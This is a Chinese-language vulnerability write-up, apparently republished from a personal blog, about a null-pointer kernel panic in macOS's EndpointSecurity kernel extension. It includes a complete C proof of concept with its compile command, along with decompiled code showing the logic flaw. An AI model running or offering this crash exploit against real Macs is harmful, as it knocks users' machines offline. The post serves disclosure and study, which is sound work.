作者:Peterpan0927
原文鏈接:https://peterpan0927.github.io/2020/02/20/local-DOS-on-latest-macOS/#more

前言

這個漏洞的具體表現形式為空指針解引用造成的kernel panic,由于蘋果的安全團隊評估之后認為不能造成具體的安全隱患,所以在這里放出來漏洞描述和poc,希望安全界的同行們能夠互相學習交流。

背景知識

  1. 了解蘋果的IOKit機制,可以參考OS X和iOS內核編程
  2. 用戶態和內核擴展的交互

Poc

下面的代碼在macOS 10.15 betamacOS 10.15.2都是可以觸發的,最新版本上還沒有測試過:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>


int main(int argc,char *argv[]){  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("EndpointSecurityDriver"));  

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 1;
}
printf("got service: %x\n", service);
kern_return_t err;


// open a userclient: 
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 8, &conn);
if (err == KERN_SUCCESS){
    printf("get user client connection\n");
} 
//input data
uint64_t input[10];
uint32_t value=0x0;
memset(input,0,sizeof(input));

printf("got userclient connection: %x\n", conn);
err = IOConnectCallMethod(conn,0x0,input,value,NULL,0,NULL,NULL,NULL,NULL);
if(err != KERN_SUCCESS) printf("no\n"); 
else printf("success\n");
IOServiceClose(conn); 


return 0;
}

編譯指令:

cc dos.c -framework IOKit -o dos

接下來運行一下就可以直觀的看到效果了,下面就來分析一下問題所在

問題發生點

通過對內核擴展的代碼審計我們可以很容易的發現這其實是一個邏輯問題,EndPointSecurity.kext主動的重寫了newUserClient這個方法,但如果type參數不是0或1的話依然會返回KERN_SUCCESSKERN_SUCCESS就會讓內核錯誤的認為函數調用成功,從而執行接下來的步驟,但事實上對應的client并沒有得到成功的創建,所以在之后用到client事實上在內存中是并不存在的,最終就會表現為空指針報錯,我將重寫過的函數關鍵部分摘出來如下:

__int64 __fastcall EndpointSecurityDriver::newUserClient(__int64 a1, IOUserClient *a2, const char *a3, int a4, __int64 a5, EndpointSecurityExternalClient **a6)
{
v8 = a4;
...if ( v8 == 1 ){
   ...
}
if ( v8 )
    goto LABEL_20;
...
v10 = 0;
LABEL_20:
   if ( (unsigned int)gLogLevel_ >= 4 )
    _os_log_internal(
      &dword_0,
      &_os_log_default, 
      2LL,     _ZZN22EndpointSecurityDriver13newUserClientEP4taskPvjP12OSDictionaryPP12IOUserClientE11_os_log_fmt__12_,  
      "virtual IOReturn EndpointSecurityDriver::newUserClient(task_t, void *, UInt32, OSDictionary *, IOUserClient **)");
      return v10;
}

也就是說我們在用戶態的調用IOServiceOpen的時候只要傳遞的type參數不是0或1就會觸發panic,從這個角度我們也可以發現蘋果的一些代碼質量并不是很高,從這些角度出發,我們可能會發現一些意想不到的問題,針對薄弱點進行攻擊相對來說是一種省時省力的方式。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1125/